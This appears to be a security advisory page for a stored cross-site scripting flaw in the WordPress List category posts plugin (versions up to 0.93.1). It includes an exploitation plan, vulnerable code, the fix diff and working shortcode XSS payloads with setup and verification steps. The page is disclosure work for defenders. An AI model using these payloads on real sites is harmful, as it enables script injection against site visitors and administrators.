List category posts <= 0.93.1 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 0.93.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=0.93.1What Changed in the Fix
Changes introduced in v0.94.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32419 (List category posts <= 0.93.1) ## 1. Vulnerability Summary The **List category posts** plugin is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[catlist]` shortcode. Specifically, the `thumbnail_class` parameter is improperly neutralized b…
Show full research plan
Exploitation Research Plan: CVE-2026-32419 (List category posts <= 0.93.1)
1. Vulnerability Summary
The List category posts plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the [catlist] shortcode. Specifically, the thumbnail_class parameter is improperly neutralized before being concatenated into the HTML output within the LcpThumbnail class. Authenticated users with Author privileges (or higher) can use the shortcode in post content to inject arbitrary JavaScript that executes when any user views the post.
2. Attack Vector Analysis
- Endpoint: WordPress post/page editor (standard content creation).
- Vulnerable Component: The
[catlist]shortcode processing logic. - Vulnerable Parameter:
thumbnail_classattribute within the shortcode. - Authentication Level: Author (can create and publish posts).
- Sinks:
include/lcp-thumbnail.php-get_thumbnail()andcheck_youtube_thumbnail()functions.
3. Code Flow
- Entry Point: A user creates or edits a post containing
[catlist thumbnail_class='...']. - Shortcode Registration:
list-category-posts.phpregisters the shortcode:add_shortcode( 'catlist', array('ListCategoryPosts', 'catlist_func') ); - Processing:
catlist_func()instantiatesCatListDisplayer, which uses theCatListclass to query posts. - Display Logic:
CatListDisplayeriterates through the results and callsLcpThumbnail::get_instance()->get_thumbnail(), passing thethumbnail_classparameter. - The Sink (Manual HTML Concatenation): In
include/lcp-thumbnail.php, within theget_thumbnail()function (line 62):
The variable} else if ( ($force_thumbnail === 'yes'|| $force_thumbnail === 'true') && preg_match('~<img[^>]*src\s?=\s?[\'"]([^\'"]*)~i',get_the_content(), $imgMatches)) { // ... if ( $lcp_thumb_class != null ) { // thumbnail class passed as parameter to shortcode $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" '; // <--- VULNERABLE SINK }$lcp_thumb_classis directly appended to the$lcp_thumbnailstring withoutesc_attr()or any other sanitization.
4. Nonce Acquisition Strategy
This is a Stored XSS in post content. No specific plugin-defined AJAX nonces are required to execute the attack. The attacker simply needs to be able to save/publish a post. Standard WordPress _wpnonce protection for the post editor will be handled by the user's session when using the browser or wp-cli.
5. Exploitation Strategy
Step 1: Prepare Target Content
The vulnerable code path in get_thumbnail requires force_thumbnail=yes and a post that does not have a featured image but does contain an <img> tag in its content.
Step 2: Inject Payload
The Author will create a post containing the following shortcode:[catlist id=1 thumbnail=yes force_thumbnail=yes thumbnail_class='"><script>alert(window.origin)</script>']
Step 3: Execution
When the page is rendered:
- The plugin searches for posts in Category 1.
- It finds the "Target Post" (which has an image in its content but no featured image).
- It reaches the vulnerable
else ifblock ininclude/lcp-thumbnail.php. - It constructs an
<img>tag:<img src="URL" class=""><script>alert(window.origin)</script> " alt="..." />. - The script executes in the browser of anyone viewing the post.
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Create Target Post (in Category 1, typically "Uncategorized"):
wp post create --post_title="Target Post" --post_content='Look at this image: <img src="https://example.com/sample.jpg">' --post_status=publish --post_category=1 - Create Malicious Post (as Author):
# Note: Using the http_request tool or browser_navigate to simulate Author activity
7. Expected Results
- The HTTP response for the malicious post's URL should contain the raw payload:
class=""><script>alert(window.origin)</script>. - When viewed in a browser, a JavaScript alert window showing the origin should appear.
8. Verification Steps
- Inspect HTML:
Usehttp_requestto fetch the post and check for the injected script.const response = await http_request.get("http://localhost:8080/?p=[POST_ID]"); if (response.body.includes('class=""><script>alert(window.origin)</script>')) { console.log("XSS Verified"); } - Check Plugin Version:
wp plugin get list-category-posts --field=version
9. Alternative Approaches
If force_thumbnail is not used, the check_youtube_thumbnail() function in include/lcp-thumbnail.php is also vulnerable via a similar pattern:
if ($lcp_thumb_class != null){
$thmbn_class = ' class="' . $lcp_thumb_class . '" />';
$lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage);
}
Alternative Payload:
- Create a post with a YouTube link:
https://www.youtube.com/watch?v=dQw4w9WgXcQ. - Use shortcode:
[catlist thumbnail=yes thumbnail_class=' x" onerror="alert(1)"']. - The
preg_replacewill result in:<img src="..." class=" x" onerror="alert(1)"" alt="..." />.
Summary
The List category posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [catlist] shortcode. This occurs because the 'thumbnail_class' attribute is improperly sanitized and escaped before being included in the generated HTML for post thumbnails. Authenticated attackers with Author-level permissions or higher can exploit this to inject arbitrary JavaScript that executes in the browser of any user viewing the affected post or page.
Vulnerable Code
// include/lcp-thumbnail.php lines 59-62 $lcp_thumbnail .= '<img src="' . esc_url($imgMatches[1]) . '" '; if ( $lcp_thumb_class != null ) { // thumbnail class passed as parameter to shortcode $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" '; } --- // include/lcp-thumbnail.php lines 98-102 if ($lcp_thumb_class != null){ $thmbn_class = ' class="' . $lcp_thumb_class . '" />'; $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage); }
Security Fix
@@ -58,7 +58,7 @@ $lcp_thumbnail .= '<img src="' . esc_url($imgMatches[1]) . '" '; if ( $lcp_thumb_class != null ) { // thumbnail class passed as parameter to shortcode - $lcp_thumbnail .= 'class="' . $lcp_thumb_class . '" '; + $lcp_thumbnail .= 'class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" '; } else { // Otherwise, use this class name $lcp_thumbnail .= 'class="lcp_thumbnail" '; @@ -74,7 +74,6 @@ private function check_youtube_thumbnail($single, $lcp_thumb_class){ $content = $single->content; - # youtube.com/watch?v=id $yt_pattern = '/([a-zA-Z0-9\-\_]+\.|)youtube\.com\/watch(\?v\=|\/v\/)([a-zA-Z0-9\-\_]{11})([^<\s]*)/'; # youtube.com/v[id] @@ -96,7 +95,7 @@ $lcp_ytimage = '<img src="' . $imageurl . '" alt="' . $single->post_title . '" />'; if ($lcp_thumb_class != null){ - $thmbn_class = ' class="' . $lcp_thumb_class . '" />'; + $thmbn_class = ' class="' . LcpUtils::sanitize_html_classes($lcp_thumb_class) . '" />'; $lcp_ytimage = preg_replace("/\>/", $thmbn_class, $lcp_ytimage); } return '<a href="' . get_permalink($single->ID).'">' . $lcp_ytimage . '</a>';
Exploit Outline
1. Gain Author-level authentication on the WordPress site. 2. Create a post that will serve as the target for the shortcode. This post should either contain an <img> tag in its content (if using force_thumbnail) or a YouTube link (if exploiting the check_youtube_thumbnail path). 3. Create a second post or page containing the [catlist] shortcode. 4. Within the shortcode, use the 'thumbnail_class' attribute to inject an XSS payload. For example: `[catlist thumbnail=yes force_thumbnail=yes thumbnail_class='"><script>alert(origin)</script>']`. 5. Publish the post. When any user (including an Administrator) views the page, the plugin will render the thumbnail for the target post, injecting the unsanitized class string directly into the HTML <img> tag and executing the JavaScript payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.